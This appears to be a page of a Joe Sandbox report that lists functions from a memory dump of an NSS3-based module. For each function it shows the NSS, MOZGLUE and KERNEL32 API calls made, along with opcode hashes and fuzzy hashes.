Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6B3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DBF

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DF8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction ID: 129c18116346e87937ad7dc8c3356e35a78a46293e027ba5b0a58eb03d63ac8a
Opcode Fuzzy Hash: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction Fuzzy Hash: 5C01DBB57051113BFB1055B56C46E7F3DACDB417A9B140236FD15EA580ED62CC2182F5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
